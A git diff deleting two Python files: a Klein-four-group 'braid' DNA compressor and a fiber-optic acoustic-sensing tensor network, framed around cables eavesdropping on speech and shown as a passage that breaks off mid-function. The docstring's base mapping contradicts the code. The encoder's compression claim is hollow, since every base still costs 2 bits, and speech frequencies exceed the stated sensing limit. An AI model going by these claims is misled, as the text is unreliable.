+0,0 @@ -#!/usr/bin/env python3 -""" -V4 DNA Braid/Rope Compressor — Cayley Fibergraph Encoding -=========================================================== - -Every DNA base → Klein four-group V4 element. -Every transition → braid crossing action. -Every complement → involution in the group. -Every storage address → NUVMAP projection from group coordinates. - -Encoding: store (g_0, a_0, a_1, ..., a_{n-1}) NOT (s_0, s_1, ..., s_{n-1}) - g_{i+1} = a_i · g_i (Cayley table lookup) - -When the group matches the data's latent symmetry: - H(action_stream) < H(symbol_stream) → compression - -V4 = {e, a, b, c} where a² = b² = c² = e, ab = c, ba = c, etc. -Mapping: A→a, C→b, G→c, T→abc -Complement: a↔abc (A↔T), b↔c (C↔G) — all involutions -""" - -import struct, math, sys, os, time, json, tempfile, subprocess -import hashlib -from typing import Dict, List, Tuple -from collections import Counter, defaultdict -from dataclasses import dataclass - -# ── V4 Group Algebra ── - -# V4 elements: e=0, a=1, b=2, c=3 -V4_E, V4_A, V4_B, V4_C = 0, 1, 2, 3 - -# Cayley table: T[x][y] = x·y -V4_CAYLEY = [ - [0, 1, 2, 3], # e·e=e, e·a=a, e·b=b, e·c=c - [1, 0, 3, 2], # a·e=a, a·a=e, a·b=c, a·c=b - [2, 3, 0, 1], # b·e=b, b·a=c, b·b=e, b·c=a - [3, 2, 1, 0], # c·e=c, c·a=b, c·b=a, c·c=e -] - -# DNA base → V4 element -BASE_TO_V4 = {"A": V4_A, "C": V4_B, "G": V4_C, "T": 3} # T = abc = a·b·c = V4_C·V4_B -V4_TO_BASE = {0: "?", 1: "A", 2: "C", 3: "G"} - -# T = abc = a·b·c. In V4: a·b = c, so abc = c·c = e. Wait, that's wrong. -# V4: a·a=e, b·b=e, c·c=e. -# a·b = c (from Cayley: T[1][2]=3) -# a·c = b (T[1][3]=2) -# b·c = a (T[2][3]=1) -# a·b·c = (a·b)·c = c·c = e. -# T is NOT abc. Let me fix: T should map to (1,1,1) which is a·b·c in the group. -# But we only have 4 elements. T must be one of them. -# Actually: use V4 as direct product Z2×Z2. Elements as bit pairs: -# e=(0,0), a=(1,0), b=(0,1), c=(1,1) -# Then T = a·b = c since (1,0)+(0,1) = (1,1) = c. -# Wait no. Let me redo with the correct encoding: - -# Better mapping: use Z2×Z2 additive notation -# elements as 2-bit: e=(0,0), a=(1,0), b=(0,1), c=(1,1) -# operation is XOR: (x1,y1)+(x2,y2) = (x1⊕x2, y1⊕y2) -# Then: a+b = (1,0)+(0,1) = (1,1) = c ✓ - -# DNA mapping: A=(1,0), C=(0,1), G=(1,1), T=(0,0) or similar -# Actually let me use a better encoding that makes complement natural: -# Complement A↔T: if A=(1,0), let T=(1,1). Differs by (0,1) = b -# Complement C↔G: if C=(0,1), let G=(1,1). Differs by (1,0) = a -# Hmm, not clean. Let me just use a fixed mapping: - -# Use complement as a specific group action: -# complement_action = (1,1) = c -# A = (0,0) = e → A↔T: T = c·e = (1,1) = c -# C = (1,0) = a → C↔G: G = c·a = (1,1)+(1,0) = (0,1) = b ? -# Actually c·a in XOR: (1,1)⊕(1,0) = (0,1). So G = b. Hmm. -# That means A=e→T=c, C=a→G=b. Not great for readability. - -# Actually: define complement as swap of x-bit = a-action -# A=(0,0)=e, T=(1,0)=a: differ by (1,0) -# C=(0,1)=b, G=(1,1)=c: differ by (1,0) -# This makes complement = (1,0) shift = a-action on x-bit. -# That's clean! complement = a, self-complement = a²=e. - -# Final mapping: -# A = (0,0) = e → complement = a → T = (1,0) = V4_A -# C = (0,1) = b → complement = a → G = (1,1) = V4_C (in our enum) -# G = V4_C (3) → complement = a → C = V4_B (2) -# T = V4_A (1) → complement = a → A = V4_E (0) - -# So: BASE_TO_V4 = {"A": 0, "T": 1, "C": 2, "G": 3} -# Complement action = multiply by V4_A (1) -# T[1][0] = 1 = T ✓ (from Cayley, T[1][0]=1 means a·e=a, so complement of A=e is a=T ✓) -# T[1][2] = 3 = G ✓ (from Cayley, T[1][2]=3 means a·b=c, so complement of C=b is c=G ✓) - -# This is clean. Let me redefine: - -BASE_TO_V4 = {"A": V4_E, "T": V4_A, "C": V4_B, "G": V4_C} -V4_TO_BASE = {V4_E: "A", V4_A: "T", V4_B: "C", V4_C: "G"} -COMPLEMENT_ACTION = V4_A # multiply by 'a' gives complement - -# Validate: -# A→T: T[COMPLEMENT_ACTION][V4_E] = T[1][0] = 1 = V4_A = T ✓ -# C→G: T[COMPLEMENT_ACTION][V4_B] = T[1][2] = 3 = V4_C = G ✓ -# T→A: T[COMPLEMENT_ACTION][V4_A] = T[1][1] = 0 = V4_E = A ✓ -# G→C: T[COMPLEMENT_ACTION][V4_C] = T[1][3] = 2 = V4_B = C ✓ -# All correct. - -# Braid crossing actions: -# σ_forward = V4_B (b-action, rotates A→C, C→A, G↔T swap) -# σ_reverse = V4_B (same, since b²=e in V4, forward=reverse=involution) -# Actually in V4 every non-id element is order-2, so forward=reverse always. -# Braid relations are trivially satisfied. V4 is abelian, so σ_i σ_j = σ_j σ_i always. - -ACTION_NAMES = {V4_A: "σ_cmp", V4_B: "σ_trans", V4_C: "σ_twist", V4_E: "I"} - - -class V4BraidEncoder: - """ - V4 DNA Braid/Rope encoder. - - Encode: DNA strand → V4 element stream → action delta stream - Decode: action delta stream → V4 element stream → DNA strand - """ - - def __init__(self): - self.cayley = V4_CAYLEY - - def _action(self, from_elem: int, to_elem: int) -> int: - """Find the group action that takes from_elem to to_elem: to = a · from""" - for a in range(4): - if self.cayley[a][from_elem] == to_elem: - return a - return 0 # identity as fallback - - def encode(self, dna: str, encode_verbatim: bool = False) -> Tuple[bytes, Dict]: - """ - Encode DNA sequence as V4 action stream. - - If encode_verbatim: output 2 bits per base (identity stream). - If not: output first base (2 bits) + action delta stream. - - Returns (encoded_bytes, metadata_dict). - """ - if not dna: - return b"", {"length": 0} - - # Convert to V4 elements - elements = [BASE_TO_V4.get(b, 0) for b in dna.upper()] - n = len(elements) - - # Encode: [first_element:2bits] [action_0:2bits] [action_1:2bits] ... - # 2 bits per element, but actions may have lower entropy - bits = [] - - # First element: 2 bits - bits.extend([(elements[0] >> 1) & 1, elements[0] & 1]) - - # Action stream - actions = [] - for i in range(1, n): - a = self._action(elements[i-1], elements[i]) - actions.append(a) - bits.extend([(a >> 1) & 1, a & 1]) - - # Pack bits into bytes - packed = bytearray() - for j in range(0, len(bits), 8): - byte = 0 - for b in range(8): - if j + b < len(bits): - byte |= bits[j + b] << (7 - b) # MSB first - packed.append(byte) - - compressed = bytes(packed) - - # Compute action entropy - action_counter = Counter(actions) - total = len(actions) - action_entropy = -sum((c/total) * math.log2(c/total) - for c in action_counter.values()) if total > 0 else 0.0 - - return compressed, { - "length": n, - "compressed_bytes": len(compressed), - "raw_bits": n * 2, - "action_entropy": round(action_entropy, 4), - "idle_fraction": round(action_counter.get(V4_E, 0) / max(total, 1), 4), - "complement_fraction": round(action_counter.get(V4_A, 0) / max(total, 1), 4), - "transition_fraction": round(action_counter.get(V4_B, 0) / max(total, 1), 4), - "twist_fraction": round(action_counter.get(V4_C, 0) / max(total, 1), 4), - "most_common_action": action_counter.most_common(1)[0] if action_counter else None, - "action_distribution": dict(action_counter), - "group": "V4", - "sha256": hashlib.sha256(dna.encode()).hexdigest(), - } - - def decode(self, compressed: bytes, length: int) -> str: - """Decode V4 action stream back to DNA sequence.""" - if length == 0: - return "" - - # Unpack bits (MSB first) - bits = [] - for byte in compressed: - for b in range(8): - bits.append((byte >> (7 - b)) & 1) - - # First element - elem = (bits[0] << 1) | bits[1] - result = [V4_TO_BASE.get(elem, "N")] - - # Action stream: decode each action and apply - bit_pos = 2 - for i in range(1, length): - if bit_pos + 1 >= len(bits): - break - action = (bits[bit_pos] << 1) | bits[bit_pos + 1] - bit_pos += 2 - elem = self.cayley[action][elem] - result.append(V4_TO_BASE.get(elem, "N")) - - return "".join(result) - - def roundtrip(self, dna: str) -> Tuple[bool, int, int]: - """Test encode/decode cycle.""" - compressed, meta = self.encode(dna) - decoded = self.decode(compressed, len(dna)) - ok = dna.upper() == decoded.upper() - return ok, len(compressed), len(dna) - - # ── PIST integration ── - - def to_pist_coords(self, dna: str) -> List[Tuple[int, int]]: - """Convert DNA to PIST shell coordinates via V4 elements.""" - if "pist_encode" not in globals(): - from pist_biological_polymorphic_shifter_v3_complete import pist_encode - else: - pist_encode = globals().get("pist_encode") - - coords = [] - for base in dna.upper(): - g = BASE_TO_V4.get(base, 0) - # g ∈ [0,3], use as PIST input - k, t = pist_encode(g) - coords.append((k, t)) - return coords - - def nu_vmap_coords(self, dna: str) -> List[Dict]: - """Compute NUVMAP texel coordinates for DNA sequence.""" - coords = self.to_pist_coords(dna) - result = [] - for i, (k, t) in enumerate(coords): - g = BASE_TO_V4.get(dna[i].upper(), 0) - result.append({ - "position": i, - "base": dna[i], - "V4_element": g, - "pist_shell": k, - "pist_offset": t, - "pist_mass": t * (2*k + 1 - t), - "is_complement_target": g in (V4_A, V4_C), # T and G - "orbit": [V4_CAYLEY[x][g] for x in range(4)], # action orbit - }) - return result - - # ── Braid/rope analysis ── - - def braid_analysis(self, dna: str) -> Dict: - """Analyze DNA as braid word with V4 strand operators.""" - elements = [BASE_TO_V4.get(b, 0) for b in dna.upper()] - actions = [self._action(elements[i-1], elements[i]) for i in range(1, len(elements))] - - # Braid word length (in Artin generators) - braid_word = [] - for a in actions: - if a == V4_A: - braid_word.append("c") # complement crossing - elif a == V4_B: - braid_word.append("s") # transition crossing - elif a == V4_C: - braid_word.append("t") # twist crossing - else: - braid_word.append("1") # identity - - # Simplify by canceling adjacent inverses (all are involutions in V4) - simplified = [] - for op in braid_word: - if simplified and simplified[-1] == op: - simplified.pop() # σ² = e in V4 - else: - simplified.append(op) - - # Run-length compress the simplified word - runs = [] - if braid_word: - current = braid_word[0]; count = 1 - for op in braid_word[1:]: - if op == current: - count += 1 - else: - runs.append((current, count)) - current = op; count = 1 - runs.append((current, count)) - - return { - "original_length": len(elements), - "braid_word_length": len(braid_word), - "simplified_length": len(simplified), - "compression_ratio": len(simplified) / max(len(braid_word), 1), - "runs": runs, - "num_runs": len(runs), - "unique_actions": len(set(braid_word)), - "identity_fraction": braid_word.count("1") / max(len(braid_word), 1), - } - - -# ── Benchmark ── - -def benchmark_v4_vs_all(dna: str, label: str, - brotli_lvl: int = 11, zstd_lvl: int = 19, - xz_lvl: int = 9) -> Dict: - """Benchmark V4 braid encoder against system compressors.""" - encoder = V4BraidEncoder() - - results = [] - - # V4 encoder - t0 = time.time() - comp, meta = encoder.encode(dna) - v4_time = time.time() - t0 - - t0 = time.time() - dec = encoder.decode(comp, len(dna)) - v4_dec_time = time.time() - t0 - - ok = dna.upper() == dec.upper() - bpb = (len(comp) * 8) / max(len(dna), 1) - - results.append({ - "algo": "V4-braid", - "label": label, - "lossless": ok, - "original": len(dna), - "compressed": len(comp), - "bpb": round(bpb, 3), - "ratio": round(len(comp) / max(len(dna), 1), 4), - "time_s": round(v4_time, 3), - "dec_time_s": round(v4_dec_time, 3), - "action_entropy": meta.get("action_entropy", 0), - "idle_fraction": meta.get("idle_fraction", 0), - }) - - # System compressors - dna_bytes = dna.encode() - for algo, compress_cb, lvl, ext in [ - ("brotli", lambda d: subprocess.run(["brotli","-q",str(brotli_lvl),"-f","-c"],input=d,capture_output=True).stdout, brotli_lvl, ".br"), - ("zstd", lambda d: subprocess.run(["zstd","-"+str(zstd_lvl),"-q","-f","-c"],input=d,capture_output=True).stdout, zstd_lvl, ".zst"), - ("xz", lambda d: subprocess.run(["xz","-"+str(xz_lvl),"-f","-c","-z"],input=d,capture_output=True).stdout, xz_lvl, ".xz"), - ("gzip", lambda d: subprocess.run(["gzip","-9","-f","-c"],input=d,capture_output=True).stdout, 9, ".gz"), - ]: - t0 = time.time() - try: - out = compress_cb(dna_bytes) - ct = time.time() - t0 - if out: - results.append({ - "algo": algo, - "label": label, - "original": len(dna), - "compressed": len(out), - "bpb": round(len(out)*8/max(len(dna),1), 3), - "ratio": round(len(out)/max(len(dna),1), 4), - "time_s": round(ct, 3), - }) - except: pass - - return results - - -def main(): - """Run demo and benchmark.""" - encoder = V4BraidEncoder() - - # Test sequences - tests = [ - ("ACGT" * 50, "simple_repeat"), - ("A" * 500, "polyA"), - ("ATCG" * 50, "alternating"), - ] - - # Load real data - import gzip - try: - with gzip.open("/home/allaun/dna_benchmark/data/ecoli.fna.gz", "rt") as f: - ecoli = "".join(line.strip() for line in f if not line.startswith(">")) - tests.append((ecoli[:10000], "ecoli_10k")) - except: pass - - print("=" * 64) - print("V4 BRAID/ROPE DNA COMPRESSOR") - print("=" * 64) - print(f"\n Group: V4 (Klein four-group, Z2×Z2)") - print(f" A={V4_TO_BASE[0]} T={V4_TO_BASE[1]} C={V4_TO_BASE[2]} G={V4_TO_BASE[3]}") - print(f" Complement action: a·g (complement pairs: A↔T, C↔G)") - print(f" All non-identity actions are involutions (σ² = e)") - - for dna, label in tests: - print(f"\n{'─' * 64}") - print(f" [{label}] {len(dna)} bases") - - # Roundtrip - ok, cs, os = encoder.roundtrip(dna) - print(f" Roundtrip: {'PASS' if ok else 'FAIL'} {os}→{cs} bytes ({cs*8/os:.2f} bpb)") - - # Action analysis - analysis = encoder.braid_analysis(dna) - print(f" Braid word: {analysis['braid_word_length']} ops → {analysis['simplified_length']} simplified " - f"({analysis['num_runs']} runs, {analysis['unique_actions']} unique)") - print(f" Identity fraction: {analysis['identity_fraction']:.1%}") - - # Benchmarks - bench = benchmark_v4_vs_all(dna, label) - print(f" {'Algo':12s} {'BPB':>7s} {'Ratio':>7s} {'Time':>7s} {'Size':>7s}") - for r in sorted(bench, key=lambda x: x.get("bpb", 999)): - bpb = r.get("bpb", "--") - ratio = r.get("ratio", "--") - ts = r.get("time_s", "--") - sz = r.get("compressed", 0) - print(f" {r['algo']:12s} {str(bpb):>7s} {str(ratio):>7s} {str(ts):>7s} {sz:>6,}B") - -if __name__ == "__main__": - main() diff --git a/3-Mathematical-Models/fiber_optic_vibrational_tensor/fiber_optic_tensor_network.py b/3-Mathematical-Models/fiber_optic_vibrational_tensor/fiber_optic_tensor_network.py deleted file mode 100644 index ca11fc01..00000000 --- a/3-Mathematical-Models/fiber_optic_vibrational_tensor/fiber_optic_tensor_network.py +++ /dev/null @@ -1,7729 +0,0 @@ -""" -Fiber Optic Vibrational Tensor Network -======================================= - -This module implements a tensor network architecture for mapping vibrational frequencies -to fiber optic cable infrastructure based on Distributed Acoustic Sensing (DAS) principles. - -Based on research that fiber optic cables can eavesdrop on nearby conversations through -vibrational sensing, this tensor network models the relationship between cable infrastructure -and acoustic/vibrational signatures across multiple dimensions. - -Technical Basis: -- DAS uses Rayleigh scatter-based fiber optic sensing (COTDR) -- Maximum range: 40-50 km per sensing unit -- Spatial resolution: 10m (100ns pulse) -- Acquisition rate: up to 2kHz for 50km fiber, Nyquist frequency of 1kHz -- Human speech frequency: 20Hz-20kHz (full range), 80-255Hz fundamental, up to 8kHz content -- Sensitive to strain and temperature variations - -Tensor Network Dimensions: -- Spatial: Cable segments, geographic coordinates -- Temporal: Time series of measurements -- Frequency: Vibrational frequency spectrum -- Infrastructure: Cable type, depth, environment -- Environmental: Temperature, pressure, surrounding medium -""" - -import numpy as np -import torch -import torch.nn as nn -import time -import json -import hashlib -import math -import random -from typing import Dict, List, Tuple, Optional, Any -from dataclasses import dataclass -from enum import Enum - - -class CableType(Enum): - """Types of fiber optic cables""" - SUBMARINE = "submarine" - TERRESTRIAL = "terrestrial" - AERIAL = "aerial" - BURIED = "buried" - - -class EnvironmentType(Enum): - """Environmental contexts for cables""" - DEEP_OCEAN = "deep_ocean" - SHALLOW_WATER = "shallow_water" - UNDERGROUND = "underground" - SURFACE = "surface" - AERIAL = "aerial" - - -@dataclass -class CableSegment: - """Represents a segment of fiber optic cable""" - segment_id: str - start_lat: float - start_lon: float - end_lat: float - end_lon: float - length_km: float - cable_type: CableType - depth_m: Optional[float] = None - environment: EnvironmentType = EnvironmentType.SURFACE - installation_year: Optional[int] = None - - -@dataclass -class VibrationalSignature: - """Vibrational signature captured from cable segment""" - segment_id: str - timestamp: float - frequency_spectrum: np.ndarray # Frequency bins - amplitude_spectrum: np.ndarray # Amplitude per frequency - strain_measurements: np.ndarray # Strain along segment - temperature_delta: float # Temperature change - - -class FiberOpticTensorNetwork(nn.Module): - """ - Tensor network for mapping vibrational frequencies to fiber optic infrastructure. - - Architecture: - - Input: Multi-dimensional tensor combining spatial, temporal, frequency, infrastructure, and environmental data - - Processing: Hierarchical tensor decomposition with attention mechanisms - - Output: Vibrational risk assessment, acoustic reconstruction potential, and anomaly detection - """ - - def __init__( - self, - spatial_dim: int = 1000, # Number of cable segments - temporal_dim: int = 100, # Time steps - frequency_dim: int = 1000, # Frequency bins (covering 20Hz-20kHz) - infrastructure_dim: int = 10, # Cable infrastructure features - environmental_dim: int = 5, # Environmental features - hidden_dim: int = 256, - num_heads: int = 8 - ): - super().__init__() - - self.spatial_dim = spatial_dim - self.temporal_dim = temporal_dim - self.frequency_dim = frequency_dim - self.infrastructure_dim = infrastructure_dim - self.environmental_dim = environmental_dim - self.hidden_dim = hidden_dim - - # Input embedding layers - self.spatial_embedding = nn.Linear(spatial_dim, hidden_dim) - self.temporal_embedding = nn.Linear(temporal_dim, hidden_dim) - self.frequency_embedding = nn.Linear(frequency_dim, hidden_dim) - self.infrastructure_embedding = nn.Linear(infrastructure_dim, hidden_dim) - self.environmental_embedding = nn.Linear(environmental_dim, hidden_dim) - - # Multi-head attention for cross-dimensional interactions - self.cross_attention = nn.MultiheadAttention( - embed_dim=hidden_dim, - num_heads=num_heads, - batch_first=True - ) - - # Tensor decomposition layers - self.tensor_decomposition = nn.Sequential( - nn.Linear(hidden_dim * 5, hidden_dim * 2), - nn.ReLU(), - nn.Dropout(0.1), - nn.Linear(hidden_dim * 2, hidden_dim), - nn.ReLU(), - nn.Dropout(0.1) - ) - - # Output heads - self.vibrational_risk_head = nn.Linear(hidden_dim, 1) - self.acoustic_reconstruction_head = nn.Linear(hidden_dim, frequency_dim) - self.anomaly_detection_head = nn.Linear(hidden_dim, 1) - - def forward( - self, - spatial_features: torch.Tensor, - temporal_features: torch.Tensor, - frequency_features: torch.Tensor, - infrastructure_features: torch.Tensor, - environmental_features: torch.Tensor - ) -> Dict[str, torch.Tensor]: - """ - Forward pass through the tensor network. - - Args: - spatial_features: (batch_size, spatial_dim) - temporal_features: (batch_size, temporal_dim) - frequency_features: (batch_size, frequency_dim) - infrastructure_features: (batch_size, infrastructure_dim) - environmental_features: (batch_size, environmental_dim) - - Returns: - Dictionary containing: - - vibrational_risk: Risk assessment score - - acoustic_reconstruction: Reconstructed acoustic spectrum - - anomaly_detection: Anomaly probability - """ - # Embed each dimension - spatial_emb = self.spatial_embedding(spatial_features) - temporal_emb = self.temporal_embedding(temporal_features) - frequency_emb = self.frequency_embedding(frequency_features) - infrastructure_emb = self.infrastructure_embedding(infrastructure_features) - environmental_emb = self.environmental_embedding(environmental_features) - - # Stack embeddings for cross-attention - embeddings = torch.stack([ - spatial_emb, temporal_emb, frequency_emb, - infrastructure_emb, environmental_emb - ], dim=1) # (batch_size, 5, hidden_dim) - - # Apply cross-attention - attended_features, attention_weights = self.cross_attention( - embeddings, embeddings, embeddings - ) - - # Flatten and process through tensor decomposition - flattened = attended_features.flatten(start_dim=1) - processed = self.tensor_decomposition(flattened) - - # Generate outputs - vibrational_risk = torch.sigmoid(self.vibrational_risk_head(processed)) - acoustic_reconstruction = self.acoustic_reconstruction_head(processed) - anomaly_detection = torch.sigmoid(self.anomaly_detection_head(processed)) - - return { - 'vibrational_risk': vibrational_risk, - 'acoustic_reconstruction': acoustic_reconstruction, - 'anomaly_detection': anomaly_detection, - 'attention_weights': attention_weights - } - - -class FrequencyMapper: - """Maps physical frequencies to tensor network frequency bins""" - - def __init__( - self, - min_freq: float = 20.0, # 20 Hz - human hearing lower bound - max_freq: float = 20000.0, # 20 kHz - human hearing upper bound - num_bins: int = 1000 - ): - self.min_freq = min_freq - self.max_freq = max_freq - self.num_bins = num_bins - - # Use logarithmic spacing for frequency bins (matches human perception) - self.freq_bins = np.logspace( - np.log10(min_freq), - np.log10(max_freq), - num_bins - ) - - # Define key frequency ranges for human speech - self.speech_fundamental_range = (80.0, 255.0) # Fundamental frequencies - self.speech_content_range = (255.0, 8000.0) # Speech content - - def frequency_to_bin(self, frequency: float) -> int: - """Convert a frequency to its corresponding bin index""" - if frequency < self.min_freq or frequency > self.max_freq: - raise ValueError(f"Frequency {frequency} Hz out of range [{self.min_freq}, {self.max_freq}]") - - bin_idx = int(np.log10(frequency / self.min_freq) / - np.log10(self.max_freq / self.min_freq) * (self.num_bins - 1)) - return bin_idx - - def bin_to_frequency(self, bin_idx: int) -> float: - """Convert a bin index to its corresponding frequency""" - if bin_idx < 0 or bin_idx >= self.num_bins: - raise ValueError(f"Bin index {bin_idx} out of range [0, {self.num_bins-1}]") - - return self.freq_bins[bin_idx] - - def get_speech_relevant_bins(self) -> List[int]: - """Get bin indices corresponding to human speech frequencies""" - speech_bins = [] - for freq in np.linspace(self.speech_fundamental_range[0], - self.speech_content_range[1], 100): - speech_bins.append(self.frequency_to_bin(freq)) - return sorted(set(speech_bins)) - - -class CableInfrastructureMapper: - """Maps fiber optic cable infrastructure to tensor network spatial dimensions""" - - def __init__(self, cable_segments: List[CableSegment]): - self.cable_segments = cable_segments - self.segment_map = {seg.segment_id: i for i, seg in enumerate(cable_segments)} - - def get_spatial_features(self, segment_id: str) -> np.ndarray: - """Get spatial features for a cable segment""" - if segment_id not in self.segment_map: - raise ValueError(f"Segment {segment_id} not found") - - segment = self.cable_segments[self.segment_map[segment_id]] - - # Create spatial feature vector - features = np.zeros(len(self.cable_segments)) - features[self.segment_map[segment_id]] = 1.0 - - # Add geographic features - return features - - def get_infrastructure_features(self, segment_id: str) -> np.ndarray: - """Get infrastructure features for a cable segment""" - if segment_id not in self.segment_map: - raise ValueError(f"Segment {segment_id} not found") - - segment = self.cable_segments[self.segment_map[segment_id]] - - # One-hot encode cable type - cable_type_features = np.zeros(len(CableType)) - cable_type_features[list(CableType).index(segment.cable_type)] = 1.0 - - # One-hot encode environment - env_features = np.zeros(len(EnvironmentType)) - env_features[list(EnvironmentType).index(segment.environment)] = 1.0 - - # Normalize depth - depth_feature = np.array([segment.depth_m / 10000.0 if segment.depth_m else 0.0]) - - # Normalize installation year - year_feature = np.array([(segment.installation_year - 1990) / 40.0 - if segment.installation_year else 0.0]) - - return np.concatenate([ - cable_type_features, - env_features, - depth_feature, - year_feature - ]) - - -class VibrationalTensorBuilder: - """Builds vibrational tensors from DAS measurements""" - - def __init__( - self, - frequency_mapper: FrequencyMapper, - cable_mapper: CableInfrastructureMapper - ): - self.frequency_mapper = frequency_mapper - self.cable_mapper = cable_mapper - - def build_tensor( - self, - signatures: List[VibrationalSignature], - time_window: int = 100 - ) -> Dict[str, torch.Tensor]: - """ - Build a multi-dimensional tensor from vibrational signatures. - - Args: - signatures: List of vibrational signatures - time_window: Number of time steps to include - - Returns: - Dictionary of tensor features - """ - # Get unique segments - segment_ids = list(set(s.segment_id for s in signatures)) - - # Build spatial features - spatial_features = np.zeros((len(segment_ids), - len(self.cable_mapper.cable_segments))) - for i, seg_id in enumerate(segment_ids): - spatial_features[i] = self.cable_mapper.get_spatial_features(seg_id) - - # Build temporal features (time series) - timestamps = sorted(set(s.timestamp for s in signatures)) - temporal_features = np.zeros((len(segment_ids), time_window)) - - # Build frequency features - frequency_features = np.zeros((len(segment_ids), - self.frequency_mapper.num_bins)) - - # Build infrastructure features - infrastructure_features = np.zeros((len(segment_ids), 10)) - for i, seg_id in enumerate(segment_ids): - infrastructure_features[i] = self.cable_mapper.get_infrastructure_features(seg_id) - - # Build environmental features (simplified) - environmental_features = np.zeros((len(segment_ids), 5)) - - # Process signatures to populate frequency features - for signature in signatures: - if signature.segment_id in segment_ids: - idx = segment_ids.index(signature.segment_id) - - # Map frequency spectrum to bins - for i, freq in enumerate(signature.frequency_spectrum): - if i < self.frequency_mapper.num_bins: - frequency_features[idx, i] = signature.amplitude_spectrum[i] - - return { - 'spatial_features': torch.FloatTensor(spatial_features), - 'temporal_features': torch.FloatTensor(temporal_features), - 'frequency_features': torch.FloatTensor(frequency_features), - 'infrastructure_features': torch.FloatTensor(infrastructure_features), - 'environmental_features': torch.FloatTensor(environmental_features) - } - - -class VLBNibbleSwitch: - """ - VLB (Very Long Baseline) Nibble Switch for encoding sparse vibrational state changes. - - Based on the VLB Nibble-Delta Witness Substrate methodology for sparse manifold updates. - Uses 4-bit transition symbols to encode vibrational state changes in fiber optic cables. - """ - - # Quandary control states (high 2 bits) - REJECT = 0b00 # no-change / cooling - ACCEPT = 0b01 # apply update - HOLD = 0b10 # needs witness / recovery - QUARANTINE = 0b11 # break / reset - - # Strand selectors (low 2 bits) - adapted for vibrational analysis - K_AXIS = 0b00 # stable backbone / low frequency - C_WINDING = 0b01 # route deformation / mid frequency - M_TENSION = 0b10 # attestation / high frequency - Y_RESET = 0b11 # break / reset / anomaly - - def __init__(self): - self.quandary_states = { - self.REJECT: "REJECT", - self.ACCEPT: "ACCEPT", - self.HOLD: "HOLD", - self.QUARANTINE: "QUARANTINE" - } - self.strand_selectors = { - self.K_AXIS: "K_AXIS", - self.C_WINDING: "C_WINDING", - self.M_TENSION: "M_TENSION", - self.Y_RESET: "Y_RESET" - } - - def encode_nibble(self, quandary_state: int, strand_selector: int) -> int: - """Encode a 4-bit nibble from quandary state and strand selector""" - return ((quandary_state & 0b11) << 2) | (strand_selector & 0b11) - - def decode_nibble(self, nibble: int) -> Tuple[int, int]: - """Decode a 4-bit nibble into quandary state and strand selector""" - quandary_state = (nibble >> 2) & 0b11 - strand_selector = nibble & 0b11 - return quandary_state, strand_selector - - def vibrational_state_to_nibble(self, - frequency_change: float, - amplitude_change: float, - anomaly_detected: bool) -> int: - """ - Convert vibrational state changes to VLB nibble encoding. - - Args: - frequency_change: Change in frequency (Hz) - amplitude_change: Change in amplitude - anomaly_detected: Whether anomaly was detected - - Returns: - 4-bit nibble encoding the state transition - """ - # Determine quandary state based on anomaly detection - if anomaly_detected: - quandary_state = self.QUARANTINE - elif abs(frequency_change) < 1.0 and abs(amplitude_change) < 0.01: - quandary_state = self.REJECT - elif abs(frequency_change) > 100.0 or abs(amplitude_change) > 0.5: - quandary_state = self.HOLD - else: - quandary_state = self.ACCEPT - - # Determine strand selector based on frequency range - freq_abs = abs(frequency_change) - if freq_abs < 50: # Low frequency changes - strand_selector = self.K_AXIS - elif freq_abs < 500: # Mid frequency changes - strand_selector = self.C_WINDING - elif freq_abs < 2000: # High frequency changes - strand_selector = self.M_TENSION - else: # Very high frequency / anomalous - strand_selector = self.Y_RESET - - return self.encode_nibble(quandary_state, strand_selector) - - -class VLBManifoldDelta: - """ - VLB Manifold Delta for sparse vibrational updates. - - Applies the VLB Nibble-Delta methodology to fiber optic vibrational sensing, - enabling sparse encoding of acoustic events with witness receipts. - """ - - def __init__(self, baseline_hash: str, target_hash: str, source_domain: str): - self.baseline_hash = baseline_hash - self.target_hash = target_hash - self.source_domain = source_domain - self.switches = [] # List of NibbleSwitch events - self.kot_cost = 0 # Knowledge Object Transfer cost - self.replay_pass = False - self.nibble_encoder = VLBNibbleSwitch() - - def add_vibrational_switch(self, - locus_id: str, - frequency_change: float, - amplitude_change: float, - anomaly_detected: bool, - count: int = 1, - polarity: float = 1.0): - """Add a vibrational state change as a nibble switch""" - nibble = self.nibble_encoder.vibrational_state_to_nibble( - frequency_change, amplitude_change, anomaly_detected - ) - - switch_event = { - 'locus_id': locus_id, - 'nibble': nibble, - 'count': count, - 'polarity': polarity, - 'kot_cost': int(abs(frequency_change) * 100), # Simple cost model - 'timestamp': time.time() - } - - self.switches.append(switch_event) - self.kot_cost += switch_event['kot_cost'] - - def estimate_compression_gain(self, - num_loci: int, - bytes_per_locus: int = 32, - bytes_per_switch: int = 12) -> float: - """ - Estimate compression gain using VLB methodology. - - Based on VLB compression estimate: - Gain ratio ≈ Full snapshot bytes / Nibble-delta bytes - """ - full_snapshot_bytes = num_loci * bytes_per_locus - nibble_delta_bytes = len(self.switches) * bytes_per_switch + 512 # + receipt overhead - - if nibble_delta_bytes == 0: - return 0.0 - - return full_snapshot_bytes / nibble_delta_bytes - - def to_jsonl(self) -> str: - """Convert to JSONL format for VLB-style event logging""" - event = { - 'baseline': self.baseline_hash, - 'target': self.target_hash, - 'source_domain': self.source_domain, - 'switches': self.switches, - 'kot_cost': self.kot_cost, - 'replay_pass': self.replay_pass - } - return json.dumps(event) - - -class VLBFiberOpticIntegrator: - """ - Integration layer between VLB methodology and fiber optic DAS sensing. - - Cross-references planetary VLB sparse encoding techniques with fiber optic - vibrational tensor networks to enable efficient acoustic event detection - and witness receipt generation. - """ - - def __init__(self, tensor_network: FiberOpticTensorNetwork): - self.tensor_network = tensor_network - self.nibble_encoder = VLBNibbleSwitch() - self.active_deltas = {} # Map of segment_id -> VLBManifoldDelta - - def process_vibrational_signature(self, - signature: VibrationalSignature, - baseline_hash: str) -> Dict: - """ - Process a vibrational signature through VLB encoding and tensor network. - - Combines VLB sparse encoding with tensor network analysis for efficient - acoustic event detection and witness generation. - """ - # Get tensor network analysis - segment_idx = signature.segment_id - spatial_features = torch.zeros(1, self.tensor_network.spatial_dim) - temporal_features = torch.zeros(1, self.tensor_network.temporal_dim) - frequency_features = torch.FloatTensor(signature.frequency_spectrum).unsqueeze(0) - infrastructure_features = torch.zeros(1, self.tensor_network.infrastructure_dim) - environmental_features = torch.zeros(1, self.tensor_network.environmental_dim) - - with torch.no_grad(): - tensor_outputs = self.tensor_network( - spatial_features=spatial_features, - temporal_features=temporal_features, - frequency_features=frequency_features, - 